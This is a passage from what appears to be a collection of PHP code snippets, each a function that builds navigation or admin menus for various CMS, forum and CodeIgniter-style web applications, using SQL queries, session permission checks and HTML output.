append_sid(\"garage.$phpEx?mode=view_own_vehicle&amp;CID=$cid\"),\n \t\t\t\t\t'VEHICLE' => $user_vehicle['vehicle'])\n \t\t\t\t);\n\t\t\t}\n\t\t\t$db->sql_freeresult($result);\n\t\t}\n\n\t\tif (!$this->check_permissions('BROWSE',''))\n\t\t{\n\t\t\t$template->pparse('menu');\n\t\t\treturn ;\n\t\t}\n\n\t\tif ( $garage_config['lastupdatedvehiclesmain_on'] == TRUE )\n\t\t{\n\t\t\t$template->assign_block_vars('lastupdatedvehiclesmain_on', array());\n\n\t\t\t$limit = $garage_config['lastupdatedvehiclesmain_limit'];\n\n\t\t\t$sql = \"SELECT g.id, g.made_year, g.member_id, g.date_updated, user.username, CONCAT_WS(' ', g.made_year, makes.make, models.model) AS vehicle\n \t\t\t\tFROM \" . GARAGE_TABLE . \" AS g \n\t \t\t\tLEFT JOIN \" . GARAGE_MAKES_TABLE . \" AS makes ON g.make_id = makes.id \n\t \t\t\tLEFT JOIN \" . GARAGE_MODELS_TABLE . \" AS models ON g.model_id = models.id \n\t\t\t\t\tLEFT JOIN \" . USERS_TABLE . \" AS user ON g.member_id = user.user_id \n\t\t\t\tWHERE makes.pending = 0 AND models.pending = 0 \n\t\t \tORDER BY g.date_updated DESC\n\t\t\t\tLIMIT 0, $limit\";\n\n\t\t\tif( !($result = $db->sql_query($sql)) )\n\t\t\t{\n\t\t\t\tmessage_die(GENERAL_ERROR, 'Could not query users', '', __LINE__, __FILE__, $sql);\n\t\t\t}\n\n\t\t\twhile ( $vehicle_updated = $db->sql_fetchrow($result) )\n\t\t\t{\n \t\t\t\t$template->assign_block_vars('lastupdatedvehiclesmain_on.updated_vehicles', array(\n \t\t\t\t\t'U_VIEW_VEHICLE' => append_sid(\"garage.$phpEx?mode=view_vehicle&amp;CID=\".$vehicle_updated['id'].\"\"),\n \t\t\t\t\t'VEHICLE' => $vehicle_updated['vehicle'],\n \t\t\t\t\t'UPDATED_TIME' => create_date($board_config['default_dateformat'], $vehicle_updated['date_updated'], $board_config['board_timezone']),\n\t\t \t\t\t'USERNAME' => $vehicle_updated['username'],\n\t\t \t\t\t'U_VIEW_PROFILE' => append_sid(\"profile.$phpEx?mode=viewprofile&amp;\".POST_USERS_URL.\"=\".$vehicle_updated['member_id'].\"\"))\n \t\t\t\t);\n\t\t\t}\n\t\t\t$db->sql_freeresult($result);\n\t\t}\n\n\t\t$template->pparse('menu');\n\t\treturn ;\n\t}", "function ShowVerMenu()\n{\n\t\n\tinclude(\"dbconnect.php\");\n\t$str1=\"select * from menu where vermenu=1 order by menuorder \";\n\t$result=mysql_query($str1) or\n\t\tdie(mysql_error());\n\t$id=intval(mysql_real_escape_string($_REQUEST['id'])) ;\n\t$pr=intval(mysql_real_escape_string($_REQUEST['pr'])) ;\t\n\twhile($row=mysql_fetch_array($result))\n\t{\n\n\t\tswitch ($row['menutype'])\n\t\t{\n\t\t\tcase 0: //Muc chinh, trang chu, lien ket den trang index.php\n\t\t\t\techo(\"<tr><td valign='top' bgcolor='\");echo(background());\n\t\t\t\techo(\"' class='leftmenumainitem'><img src='image/point.jpg' /><a href='index.php?id=\".$row['menuid']);\n\t\t\t\techo(\"' class='mainnav'>&nbsp;&nbsp;\".$row['menutitle'].\"</a></td></tr>\");\n\t\t\t\tbreak;\t\t\t\n\t\t\tcase 1://Muc con, chua tin tuc con 1 newsgroup, lien ket den trang newsgroup.php\n\t\t\t\tif (($id==$row['parent'])||($pr==$row['parent'])||($row['parent']==0))\n\t\t\t\t{\t\t\t\t\n\t\t\t\t\techo(\"<tr><td valign='top' class='leftmenu'><img src='image/point1.jpg' />\");\n\t\t\t\t\techo(\"<a href='newsgroup.php?id=\".$row['menuid'].\"&pr=\".$row['parent'].\"' class='nav\");echo(template());echo(\"'>\");\n\t\t\t\t\techo(\"&nbsp;&nbsp;\".$row['menutitle'].\"</a></td></tr>\");\n\t\t\t\t}\n\t\t\t\tbreak; \n\t\t\tcase 2://Muc con, lien ket den trang noi dung cuc bo content.php\n\t\t\t\tif (($id==$row['parent'])||($pr==$row['parent'])||($row['parent']==0))\n\t\t\t\t{\n\t\t\t\t\techo(\"<tr><td valign='top' class='leftmenu'><img src='image/point1.jpg' />\");\n\t\t\t\t\techo(\"<a href='content.php?id=\".$row['menuid'].\"&pr=\".$row['parent'].\"' class='nav\");echo(template());echo(\"'>\");\n\t\t\t\t\techo(\"&nbsp;&nbsp;\".$row['menutitle'].\"</a></td></tr>\"); \n\t\t\t\t} \n\t\t\t\tbreak; \t\t\t\t\t\t\n\t\t\tcase 3://Muc CHINH, khong co lien ket\n\t\t\t\techo(\"<tr><td valign='top' bgcolor='\");echo(background());echo(\"' class='leftmenumainitemNOLINK'>\");\n\t\t\t\techo(\" <img src='image/point.jpg' />&nbsp;&nbsp;\".$row['menutitle'].\"</td></tr>\");\n\t\t\t\tbreak;\n\t\t\tcase 4://Muc CHINH, lien ket ngoai\n\t\t\t\techo(\"<tr><td valign='top' bgcolor='\");echo(background());\n\t\t\t\techo(\"' class='leftmenumainitem'><img src='image/point.jpg' /><a href='\".$row['link']);\n\t\t\t\techo(\"' class='mainnav'>&nbsp;&nbsp;\".$row['menutitle'].\"</a></td></tr>\");\n\t\t\t\tbreak;\t\t\t\t\n\t\t\tcase 5://Muc CHINH, lien ket den trang noi dung cuc bo content.php\n\t\t\t\techo(\"<tr><td valign='top' bgcolor='\");echo(background());\n\t\t\t\techo(\"' class='leftmenumainitem'><img src='image/point.jpg' /><a href='content.php?id=\".$row['menuid']);\n\t\t\t\techo(\"' class='mainnav'>&nbsp;&nbsp;\".$row['menutitle'].\"</a></td></tr>\");\n\t\t\t\tbreak;\n\t\t\tcase 6://Muc CHINH, lien ket den trang van ban phap luat lawdocument.php\n\t\t\t\techo(\"<tr><td valign='top' bgcolor='\");echo(background());\n\t\t\t\techo(\"' class='leftmenumainitem'><img src='image/point.jpg' /><a href='lawdocument.php?id=\".$row['menuid'].\"&page=1'\");\n\t\t\t\techo(\"' class='mainnav'>&nbsp;&nbsp;\".$row['menutitle'].\"</a></td></tr>\");\n\t\t\t\tbreak;\n\t\t\tcase 7://Muc CHINH, lien ket den trang hoi dap faq.php\n\t\t\t\techo(\"<tr><td valign='top' bgcolor='\");echo(background());\n\t\t\t\techo(\"' class='leftmenumainitem'><img src='image/point.jpg' /><a href='faq.php?id=\".$row['menuid']);\n\t\t\t\techo(\"' class='mainnav'>&nbsp;&nbsp;\".$row['menutitle'].\"</a></td></tr>\");\n\t\t\t\tbreak;\n\t\t\tcase 8://Muc CHINH, lien ket den trang lien he contact.php\n\t\t\t\techo(\"<tr><td valign='top' bgcolor='\");echo(background());\n\t\t\t\techo(\"' class='leftmenumainitem'><img src='image/point.jpg' /><a href='contact.php?id=\".$row['menuid']);\n\t\t\t\techo(\"' class='mainnav'>&nbsp;&nbsp;\".$row['menutitle'].\"</a></td></tr>\");\n\t\t\t\tbreak;\t\n\t\t\tcase 9://Muc CHINH, lien ket den trang so do website webstruct.php\n\t\t\t\techo(\"<tr><td valign='top' bgcolor='\");echo(background());\n\t\t\t\techo(\"' class='leftmenumainitem'><img src='image/point.jpg' /><a href='webstruct.php?id=\".$row['menuid']);\n\t\t\t\techo(\"' class='mainnav'>&nbsp;&nbsp;\".$row['menutitle'].\"</a></td></tr>\");\n\t\t\t\tbreak;\t\n\t\t\tcase 10://Muc CHINH, trang danh muc cac lien ket, lien ket den trang list.php\n\t\t\t\techo(\"<tr><td valign='top' bgcolor='\");echo(background());\n\t\t\t\techo(\"' class='leftmenumainitem'><img src='image/point.jpg' /><a href='list.php?id=\".$row['menuid']);\n\t\t\t\techo(\"' class='mainnav'>&nbsp;&nbsp;\".$row['menutitle'].\"</a></td></tr>\");\n\t\t\t\tbreak;\t\t\n\t\t\tcase 11://Muc CHINH, trang lich cong tac, lien ket den trang timetable.php\n\t\t\t\techo(\"<tr><td valign='top' bgcolor='\");echo(background());\n\t\t\t\techo(\"' class='leftmenumainitem'><img src='image/point.jpg' /><a href='timetable.php?id=\".$row['menuid']);\n\t\t\t\techo(\"' class='mainnav'>&nbsp;&nbsp;\".$row['menutitle'].\"</a></td></tr>\");\n\t\t\t\tbreak;\t\t\n\t\t\tcase 12://Muc CHINH, trang danh ba doanh nghiep, lien ket den trang orglist.php\n\t\t\t\techo(\"<tr><td valign='top' bgcolor='\");echo(background());\n\t\t\t\techo(\"' class='leftmenumainitem'><img src='image/point.jpg' /><a href='orglist.php?id=\".$row['menuid']);\n\t\t\t\techo(\"' class='mainnav'>&nbsp;&nbsp;\".$row['menutitle'].\"</a></td></tr>\");\n\t\t\t\tbreak;\t\t\t\t\t\n\t\t\tcase 13://Muc con, chua tin tuc rss, lien ket den trang rssnews.php\n\t\t\t\tif (($id==$row['parent'])||($pr==$row['parent'])||($row['parent']==0))\n\t\t\t\t{\t\t\t\t\n\t\t\t\t\techo(\"<tr><td valign='top' class='leftmenu'><img src='image/point1.jpg' />\");\n\t\t\t\t\techo(\"<a href='rssnews.php?id=\".$row['menuid'].\"&pr=\".$row['parent'].\"' class='nav\");echo(template());echo(\"'>\");\n\t\t\t\t\techo(\"&nbsp;&nbsp;\".$row['menutitle'].\"</a></td></tr>\");\n\t\t\t\t}\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t}\n\t}\n\n\tmysql_free_result($result);\n}", "function showMenu($page) {\n $menu = $this->getArray('sys_menu_group', 'status=1', 'position asc');\n $strscript = '';\n echo '<div id=\"myslidemenu\" class=\"jqueryslidemenu\">';\n if (count($menu) > 0) {\n echo '<ul>';\n foreach ($menu as $value) {\n $classUL = 'li_' . $value[\"id\"] . '';\n echo '<li class=\"' . $classUL . '\" style=\"display:none\"><span style=\"float:left; padding:8px 30px; border-right:1px solid #ccc; cursor: pointer;\">' . $value[\"title\"] . '</span>';\n $submenu = $this->getArray('sys_table', \"menu=1 AND menu_group_id='\" . $value[\"id\"] . \"'\", 'position asc');\n if (count($submenu) > 0) {\n echo '<ul class=\"sub\">';\n $ili = 0;\n foreach ($submenu as $v) {\n $id = $v['id'];\n if ($_SESSION[\"user_login\"][\"role_id\"] == 11) {\n $_SESSION['permission'][$id]['is_list'] = 1;\n $_SESSION['permission'][$id]['is_edit'] = 1;\n $_SESSION['permission'][$id]['is_insert'] = 1;\n $_SESSION['permission'][$id]['is_delete'] = 1;\n }\n if ($_SESSION['permission'][$id]['is_list']) {\n if ($ili == 0) {\n $strscript .= \"<script>\n\n\n\n\n\n\n\n\t\t\t\t\t\t\t\t\t\t\tjQuery('.\" . $classUL . \"').css({'display':'block'});\n\n\n\n\n\n\n\n\t\t\t\t\t\t\t\t\t\t</script>\";\n }\n echo \"\";\n echo '<li><a class=\"sub\" href=\"' . (($v['custom_link']) ? $v['custom_link'] : 'mngMain.php') . '?table_name=' . stripslashes($v[\"table_name\"]) . '\">' . $v[\"title\"] . '</a></li><br/>';\n $ili++;\n }\n//echo '<li><a class=\"sub\" href=\"mngMain.php?table_name='.stripslashes($v[\"table_name\"]).'\">'.$v[\"table_name\"].'</a></li>';\n }\n echo '</ul>';\n }\n echo '</li>';\n }\n echo '</ul>';\n }\n echo $strscript;\n echo '</div>';\n }", "public function menu(){\n $data=[];\n $data['title']=\"Menu || Admin Panel\";\n $data['menuList'] = $this->header->selectMenuheader();\n $data['userlistAll'] = $this->header->userlistAll();\n $this->load->view(\"header\", $data); //100% need\n\n $selectMenu['selectMenu'] = $this->header->selectMenu();\n $this->load->view('menu', $selectMenu); //important\n\n $this->load->view(\"footer\");\n }", "function print_menu() {\n\tprint \"<table>\\n\";\n\tprint \"<tr>\\n\";\n\tprint \"<td width=8>&nbsp;</td>\\n\";\n\tprint \"<td class=menu>\\n\";\n\tprint \"<a target=_top href=adminview.php>Admin View</a>\";\n\tprint \"</td>\\n\";\n\tprint \"<td width=8>&nbsp;</td>\\n\";\n\tprint \"<td class=menu>\\n\";\n\tprint \"<a target=_top href=domainview.php>Domain View</a>\";\n\tprint \"</td>\\n\";\n\tprint \"<td width=8>&nbsp;</td>\\n\";\n\tprint \"<td class=menu>\\n\";\n\tprint \"<a target=_top href=virtualview.php>Virtual View</a>\";\n\tprint \"</td>\\n\";\n\tprint \"<td width=8>&nbsp;</td>\\n\";\n\tprint \"<td class=menu>\\n\";\n\tprint \"<a target=_top href=newadmin.php>New Admin</a>\";\n\tprint \"</td>\\n\";\n\tprint \"<td width=8>&nbsp;</td>\\n\";\n\tprint \"<td class=menu>\\n\";\n\tprint \"<a target=_top href=newdomain.php>New Domain</a>\";\n\tprint \"</td>\\n\";\n\tprint \"<td width=8>&nbsp;</td>\\n\";\n\tprint \"</tr>\\n\";\n\tprint \"</table>\\n\";\n}", "public function adminleftmenu(){\n\t\t$this->db->select('id,menu_name,parent_id,i_order,url,menu_icon');\n\t\t$this->db->from('tb_admin_menu');\n\t\t$this->db->where(\"tb_admin_menu.parent_id = '0' AND tb_admin_menu.status='A' AND tb_admin_menu.site_id=4\");\n\t\t$query = $this->db->get();\n\t\t$left_menu = $query->result_array();\n\t\t// Get Nested Left Menu\n\t\tforeach ($left_menu as $key => $value) {\n\t\t\t$this->db->select('id,menu_name,parent_id,i_order,url,menu_icon');\n\t\t\t$this->db->from('tb_admin_menu');\n\t\t\t$this->db->where(\"tb_admin_menu.parent_id = '\".$value['id'].\"' AND tb_admin_menu.status='A' AND tb_admin_menu.site_id=4\");\n\t\t\t$query = $this->db->get();\n\t\t\t$nested_left_menu = $query->result_array(); \n\t\t\t$left_menu[$key]['nested_menu'] = $nested_left_menu;\n\t\t}\n\n\t\tif(sizeof($left_menu) > 0){\n\t\t\treturn $left_menu;\n\t\t}else{\n\t\t\treturn array(); \n\t\t}\n\t}", "public function buildNavigation()\r\n\t{\r\n\t\t$uri\t=\tDunUri :: getInstance( 'SERVER', true );\r\n\t\t$uri->delVars();\r\n\t\t$uri->setVar( 'module', 'intouch' );\r\n\t\t\r\n\t\t$data\t\t=\t'<ul class=\"nav nav-pills\">';\r\n\t\t$actions\t=\tarray( 'default', 'syscheck', 'groups', 'configure', 'updates', 'license' );\r\n\t\t\r\n\t\tforeach( $actions as $item ) {\r\n\t\t\tif ( $item == $this->action && in_array( $this->task, array( 'default', 'save' ) ) ) {\r\n\t\t\t\t$data .= '<li class=\"active\"><a href=\"#\">' . t( 'intouch.admin.navbar.' . $item ) . '</a></li>';\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$uri->setVar( 'action', $item );\r\n\t\t\t\t$data .= '<li><a href=\"' . $uri->toString() . '\">' . t( 'intouch.admin.navbar.' . $item ) . '</a></li>';\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t$data\t.= '</ul>';\r\n\t\treturn $data;\r\n\t}", "function theme_menu() {\n global $theme;\n $content = new UN_Content();\n $cAll = $content->getMenuContent($theme->langid);\n if (is_array($cAll)) {\n $out = '<ul>';\n if ($theme->indexlink == 1) {\n $out .= '<li><a href=\"index.php'.theme_global_url(true).'\"><span>'._('Main Page').'</span></a></li>';\n }\n foreach($cAll as $c) {\n $link = ($c['pagelink']!=\"\") ? $c['pagelink'] : 'index.php?t=page&amp;id='.$c['pageid'];\n $title = ($c['pagelink']!=\"\") ? $c['pagedetail'] : $c['pagetitle'];\n $out .= '<li><a href=\"'.$link.theme_global_url().'\" title=\"'.strip_tags($title).'\"><span>'.$c['pagetitle'].'</span></a></li>';\n }\n $out .= '</ul>';\n }\n echo $out;\n}", "public function render() {\n\n\n return $this->makeMenu();\n\n\n }", "public function index()\n {\n $data = $this->user->getUserData();\n $data['title'] = 'Menu Management';\n $data['menu'] = $this->menu->getMenuByUser($data['role_id']);\n $data['submenu'] = $this->menu->getAllSubmenu();\n $this->template->load('menu/menuManagement', $data, 'menu/JS_menu');\n }", "function menuFlow() {\n\t\tincludeFile('templates/mainmenu');\n\t\techo PHP_EOL;\n\t}", "function manage()\n\t{\n\t\tglobal $template, $errors, $db, $mod_loader, $security;\n\t\t\n\t\t$menuid = ( isset( $_GET[ 'menuid' ] ) ) ? intval( $_GET[ 'menuid' ] ) : 0;\n\t\t\n\t\tif ( $menuid != 0 )\n\t\t{\n\t\t\t$sql = \"SELECT * FROM \" . MORECONTENT_MENU_TABLE . \" WHERE menu_parent='$menuid'\";\n\t\t\tif ( !$result = $db->sql_query( $sql ) )\n\t\t\t{\n\t\t\t\t$errors->report_error( 'Couldn\\'t read database', CRITICAL_ERROR );\n\t\t\t}\n\t\t\t$submenus = $db->sql_fetchrowset( $result );\n\t\t\t\n\t\t\t$sql = \"SELECT m.*, c.* FROM \" . MORECONTENT_MENU_TABLE . \" m LEFT JOIN \" . MORECONTENT_CONTENT_TABLE . \" c ON c.menu_id=m.menu_id WHERE m.menu_id='$menuid' LIMIT 1\";\n\t\t\tif ( !$result = $db->sql_query( $sql ) )\n\t\t\t{\n\t\t\t\t$errors->report_error( 'Couldn\\'t read database', CRITICAL_ERROR );\n\t\t\t}\n\t\t\t$menu = $db->sql_fetchrow( $result );\n\t\t}else\n\t\t{\n\t\t\t$sql = \"SELECT * FROM \" . MORECONTENT_MENU_TABLE . \" WHERE menu_level='0'\";\n\t\t\tif ( !$result = $db->sql_query( $sql ) )\n\t\t\t{\n\t\t\t\t$errors->report_error( 'Couldn\\'t read database', CRITICAL_ERROR );\n\t\t\t}\n\t\t\t$submenus = $db->sql_fetchrowset( $result );\n\t\t\t\n\t\t\t$menu = array( 'menu_id' => 0, 'menu_parent' => 0, 'menu_level' => -1, 'menu_title' => $this->lang[ 'Menu_na' ], 'menu_content' => 0, 'id' => 0, 'content' => '' );\n\t\t}\n\t\t\n\t\t// get the editor\n\t\t$mods = $mod_loader->getmodule( 'editor', MOD_FETCH_NAME, NOT_ESSENTIAL );\n\t\t$mod_loader->port_vars( array( 'name' => 'editor1', 'quickpost' => FALSE, 'def_text' => stripslashes( $menu[ 'content' ] ) ) );\n\t\t$mod_loader->execute_modules( 0, 'show_editor' );\n\t\t$editor = $mod_loader->get_vars( array( 'editor_HTML', 'editor_WYSIWYG' ) );\n\t\t\n\t\t$frame = '<b><a href=\"%s\">%s</a></b> :: ';\n\t\t$parsed_submenus = '';\n\t\tif ( is_array( $submenus ) )\n\t\t{\n\t\t\tforeach ( $submenus as $sub )\n\t\t\t{\n\t\t\t\t$url = $security->append_sid( '?' . MODE_URL . '=ACP&' . SUBMODE_URL . '=ACP_MoreContent&s=manage&menuid=' . $sub[ 'menu_id' ] );\n\t\t\t\t$parsed_submenus .= sprintf( $frame, $url, $sub[ 'menu_title' ] );\n\t\t\t}\n\t\t}\n\t\t\n\t\t$template->assign_block_vars( 'manage', '', array(\n\t\t\t'L_TITLE' => $this->lang[ 'Manage_title' ],\n\t\t\t'L_EXPLAIN' => $this->lang[ 'Manage_explain' ],\n\t\t\t'L_TITLE2' => $this->lang[ 'Menu_title' ],\n\t\t\t'L_TITLE3' => $menu[ 'menu_title' ],\n\t\t\t'L_ADDMENU' => $this->lang[ 'Menu_add' ],\n\t\t\t'L_ADDTITLE' => $this->lang[ 'Menu_addtitle' ],\n\t\t\t'L_DELMENU' => $this->lang[ 'Menu_delete' ],\n\t\t\t'L_CHANGEMENU' => $this->lang[ 'Menu_change' ],\n\t\t\t'L_UP' => $this->lang[ 'Menu_up' ],\n\t\t\t\n\t\t\t'S_EDITOR' => $editor[ 'editor_HTML' ],\n\t\t\t'S_MENUS' => $parsed_submenus,\n\t\t\t'S_FORM_ACTION' => $security->append_sid( '?' . MODE_URL . '=ACP&' . SUBMODE_URL . '=ACP_MoreContent&s=manage2&menuid=' . $menu[ 'menu_id' ] . '&menulevel=' . $menu[ 'menu_level' ] ),\n\t\t\t\n\t\t\t'U_UP' => $security->append_sid( '?' . MODE_URL . '=ACP&' . SUBMODE_URL . '=ACP_MoreContent&s=manage&menuid=' . $menu[ 'menu_parent' ] ),\n\t\t) );\n\t\t$template->assign_switch( 'manage', TRUE );\n\t}", "public static function returnMenu() {\n }", "public function getAdminMenu(array $menu, Bigace_Zend_Controller_Admin_Action $controller)\n {\n $controller->addTranslation('smarty');\n $menu['layout']['childs']['design'] = array('frights' => 'layout');\n $menu['layout']['childs']['templates'] = array('frights' => 'layout');\n $menu['layout']['childs']['stylesheets'] = array('frights' => 'layout');\n return $menu;\n }", "public function mainMenu() {\n return $this->render(\"mainMenu.twig\", []);\n }", "function adminMenu($params, &$smarty) {\n\t// is not CSS classed. It is impossible to determine if the current element will be the last active module\n\t// providing an admin interface, so this is the best way to do it.\n\t//$activeModules = array_reverse(Config::getActiveModules());\n\t$activeModules = Config::getActiveModules();\n\t\n\t$adminItems = array('<li class=\"borderRight\"><a href=\"/admin/\">DASHBOARD</a></li>');\n\t\n\t$i = 0;\n\t$thisUser = new User($_SESSION['authenticated_user']->getId());\n\tforeach ($activeModules as $module) {\n\t\tif($thisUser->hasPerm('admin') || $module['module'] == 'Campaigns'){\n\t\t\t$i++;\n\t\t\t// Use object reflection to reverse engineer the class functions\n\t\t\t$modulename = 'Module_' . $module['module'];\n\t\t\tinclude_once SITE_ROOT . '/modules/' . $module['module'] . '/' . $module['module'] . '.php';\n\t\t\t$blah = new $modulename();\n\t\t\t$test = new ReflectionClass($blah);\n\t\t\t\n\t\t\t// Determine if the current object provides and admin interface. Some modules may provide functionality\n\t\t\t// but not require a main admin interface, and instead accomplish their tasks with hooks or no interface\n\t\t\t// at all.\n\t\t\tif ($test->hasMethod('getAdminInterface')) {\n\t\t\t\t// If the array is empty push an un-classed array item onto the stack. If not, then push successive\n\t\t\t\t// array items with the required 'borderRight' class onto the stack.\n\t\t\t\t//if (count($adminItems) == 0) {\n\t\t\t\t//\t$adminItems = array('<li><a href=\"/admin/?module=' . $module['module'] . '\">' . strtolower($module['module']) . '</a></li>');\n\t\t\t\t//} else {\n\t\t\t\t//\tarray_unshift($adminItems, '<li><a href=\"/admin/?module=' . $module['module'] . '\">' . strtolower($module['module']) . '</a></li>');\n\t\t\t\t//}\n\t\t\t\tif (($i != count($activeModules) && $module['module'] != 'Campaigns') || ($module['module'] == 'Campaigns' && $i < 1)) {\n\t\t\t\t\t$liClass = ' class=\"borderRight\"';\n\t\t\t\t} else {\n\t\t\t\t\tunset($liClass);\n\t\t\t\t}\n\t\t\t\t$adminItems[] = '<li' . $liClass . '><a href=\"/admin/' . $module['module'] . '\">' . strtoupper($module['display_name']) . '</a></li>';\n\t\t\t}\n\t\t}\n\t\t\n\t}\n\t\n\t$menuString = '<ul>';\n\t$menuString .= implode(null, $adminItems);\n\t$menuString .= '</ul>';\n\t\n\treturn $menuString;\n}", "public function getLeftMenu($data)\n {\n $nombre = mb_ucfirst($data['nombre']);\n $apellido = mb_ucfirst($data['apellido']);\n $perfil = mb_ucfirst($data['perfil']);\n $submenu = $this->getMainMenu($data['idPerfil']);\n $menu = \"\n <nav class=\\\"navbar-default navbar-static-side\\\" role=\\\"navigation\\\">\n <div class=\\\"sidebar-collapse\\\">\n <ul class=\\\"nav metismenu\\\" id=\\\"side-menu\\\">\n <li class=\\\"nav-header\\\">\n <div class=\\\"dropdown profile-element\\\">\n <a data-toggle=\\\"dropdown\\\" class=\\\"dropdown-toggle\\\" href=\\\"#\\\">\n <span class=\\\"clear\\\"> <span class=\\\"block m-t-xs\\\"> <strong class=\\\"font-bold\\\">$nombre $apellido</strong>\n </span> <span class=\\\"text-muted text-xs block\\\">$perfil <b class=\\\"caret\\\"></b></span> </span> </a>\n <ul class=\\\"dropdown-menu animated fadeInRight m-t-xs\\\">\n <li><a href=\\\"/inelcom/index.php\\\">Logout</a></li>\n </ul>\n </div>\n <div class=\\\"logo-element\\\">\n IN\n </div>\n </li>\n $submenu\n </ul>\n \n </div>\n </nav>\n \";\n\n return $menu;\n }", "function compileMenu() {\n\t\tglobal $page;\n\t\tSession::setMenu($page->getNavigationItems(0));\n\t}", "protected function viewMenu(){\n\t\t$userStatus = $_SESSION[\"user_status\"];\n\t\t\n\t\t// menus\n\t\t$menu = false;\n\t\tif ($userStatus > 2){\n\t\t\t$menu = true;\n\t\t}\n\t\treturn $menu;\n\t}", "function soho_menu_tree__header_menu($variables){\n return '<ul class=\"menu\" id=\"menu-main-menu\">' . $variables['tree'] . '</ul>';\n \n}", "function itcr_links__system_main_menu( $variables ) {\n\t$html = \"<div>\\n\";\n\t$html .= \" <ul>\\n\";\n\tforeach ( $variables[ 'links' ] as $link ) {\n\t\t$html .= \"<li>\" . l( $link[ 'title' ], $link[ 'path' ], $link ) . \"</li>\";\n\t}\n\t$html .= \" </ul>\\n\";\n\t$html .= \"</div>\\n\";\n\treturn $html;\n}", "function render_menu($arrMenu, $slot = \"left\") {\n if (!empty($arrMenu)) {\n foreach ($arrMenu as $menuobj) {\n $path = trim($menuobj['path'], \"/\");\n\n if (PageAccessManager::GetPageAccess($path) == 'AUTHORIZED') {\n\n if (empty($menuobj['submenu'])) {\n ?>\n <b-nav-item to=\"/<?php echo ($path); ?>\">\n <?php echo (!empty($menuobj['icon']) ? $menuobj['icon'] : null); ?> \n <?php echo $menuobj['label']; ?>\n </b-nav-item>\n <?php\n } else {\n $smenu = $menuobj['submenu'];\n ?>\n <b-nav-item-dropdown right>\n <template slot=\"button-content\">\n <?php echo (!empty($menuobj['icon']) ? $menuobj['icon'] : null); ?> \n <?php echo $menuobj['label']; ?>\n <?php if (!empty($smenu)) { ?><i class=\"caret\"></i><?php } ?>\n </template>\n <?php\n if (!empty($smenu)) {\n render_submenu($smenu);\n }\n ?>\n </b-nav-item-dropdown>\n <?php\n }\n }\n }\n }\n}", "public static function printMenu() {\n echo \"<li\"; if($_GET['module'] == \"\" \n\t\t \t\t\t\t|| $_GET['module'] == \"index\" \n\t\t\t\t\t\t|| $_GET['module'] == \"handler\"){ echo \" class=\\\"selected\\\"\";} echo \"><a href=\\\"./\\\">Home</a></li>\";\n\t\t if(isset($_SESSION['user'])){\n\t\t\t $user = new User();\n\t\t\t $user = $_SESSION['user'];\n\t\t\t if($user->isLoggedIn()){\n\t\t\t \t$output = \"\";\n\t\t\t \tif($user->getUnreadCount() > 0)\n\t\t\t \t\t$output = \"(<img src=\\\"images/mail.unread.png\\\" alt=\\\"Message inbox\\\" width=\\\"10px\\\" heigth=\\\"10px\\\" border=\\\"0\\\">\".$user->getUnreadCount().\")\";\n\t\t\t\t echo \"<li\"; if($_GET['module'] == \"me\" || $_GET['module'] == \"device\" || ($_GET['module'] == \"app\" && $_GET['action'] == \"manage\") || $_GET['module'] == \"group\"){ echo \" class=\\\"selected\\\"\";} echo \"><a href=\\\"?module=me\\\">My Stuff</a></li>\n\t\t\t\t <li\"; if($_GET['module'] == \"user\" \n\t\t\t\t\t\t&& $_GET['profile'] != \"true\"){ echo \" class=\\\"selected\\\"\";} echo \"><a href=\\\"?module=user\\\">Users</a></li>\n\t\t\t\t <li\"; if(($_GET['module'] == \"app\" && $_GET['action'] != \"manage\" ) || $_GET['module'] == \"forum\"){ echo \" class=\\\"selected\\\"\";} echo \"><a href=\\\"?module=app\\\">Browse Apps</a></li>\n\t\t\t\t <li\"; if($_GET['module'] == \"msg\"){ echo \" class=\\\"selected\\\"\";} echo \"><a href=\\\"?module=msg\\\">Messages $output</a></li>\";\n\t\t\t\techo \"<li><a href=\\\"?module=handler&action=logout\\\" style=\\\"color: #FF7A0F;\\\">Logout</a></li>\";\n\t\t\t\tif($user->isAdmin())\n\t\t\t\t\techo \"<li><a href=\\\"admin/\\\" style=\\\"color: #FF7A0F;\\\">Admin</a></li>\";\n\t\t\t }\n\t\t\t} else {\n\t\t\t\t echo \"<li\"; if($_GET['module'] == \"started\"){ echo \" class=\\\"selected\\\"\";} echo \"><a href=\\\"?module=started\\\">Getting started</a></li>\n\t\t\t\t <li\"; if($_GET['module'] == \"about\"){ echo \" class=\\\"selected\\\"\";} echo \"><a href=\\\"?module=about\\\">About Us</a></li>\n\n\t\t\t\t <li\"; if($_GET['module'] == \"registration\"){ echo \" class=\\\"selected\\\"\";} echo \"><a href=\\\"?module=registration\\\">Register</a></li>\n\t\t\t\t <li\"; if($_GET['module'] == \"login\"){ echo \" class=\\\"selected\\\"\";} echo \"><a href=\\\"?module=login\\\" style=\\\"color: #FF7A0F;\\\">Login</a></li>\";\n\t\t\t}\n\t\t}", "public function menu()\n {\n $menu_raw = $this->db->select('fs_department.id as de_id, fs_department.name as de_name, fs_category.*')\n ->from('fs_department')\n ->join('fs_category', 'fs_department.id = fs_category.department_id', 'left')\n ->get()->result_array();\n\n $menu_good = array();\n foreach ($menu_raw as $k => $v) {\n $menu_good[$v['de_name']][$k] = $v;// short array menu\n }\n return $menu_good;\n\n }", "public function menu_list()\n\t{\n\t\tif(!$this->session->userdata('logged_in')){\n\t\t\tredirect('login');\n\t\t\t\n\t\t}\n\t\t$logged_in=$this->session->userdata('logged_in');\n\t\tif($logged_in['base_url'] != base_url()){\n\t\t$this->session->unset_userdata('logged_in');\t\t\n\t\tredirect('login');\n\t\t}\n\t\t\n\t \t\t$logged_in=$this->session->userdata('logged_in');\n $acp=explode(',',$logged_in['setting']);\n\t\t\tif(!in_array('All',$acp)){\n\t\t\texit($this->lang->line('permission_denied'));\n\t\t\t}\n\t\t\t\n\t\t\n\t\t \t \n\t\t\t\n\t\t\t\n\t $data['title']=$this->lang->line('menu_list');\n\t\t\t\t$data['result']=$this->Cms_model->menu_list('Header');\n\t\t\t\t$data['result2']=$this->Cms_model->menu_list('Footer');\n\t\t$this->load->view('header',$data);\n\t\t $this->load->view('menu_list',$data);\n\t\t$this->load->view('footer',$data);\n\t}", "public function GetMenu($nivel,$area){\r\n $menu = '';\r\n if ($area == 'cliente'){\r\n $menu ='<ul id=\"ul-menu\">\r\n \r\n <li><a href=\"#\" id=\"meusdados\"><img 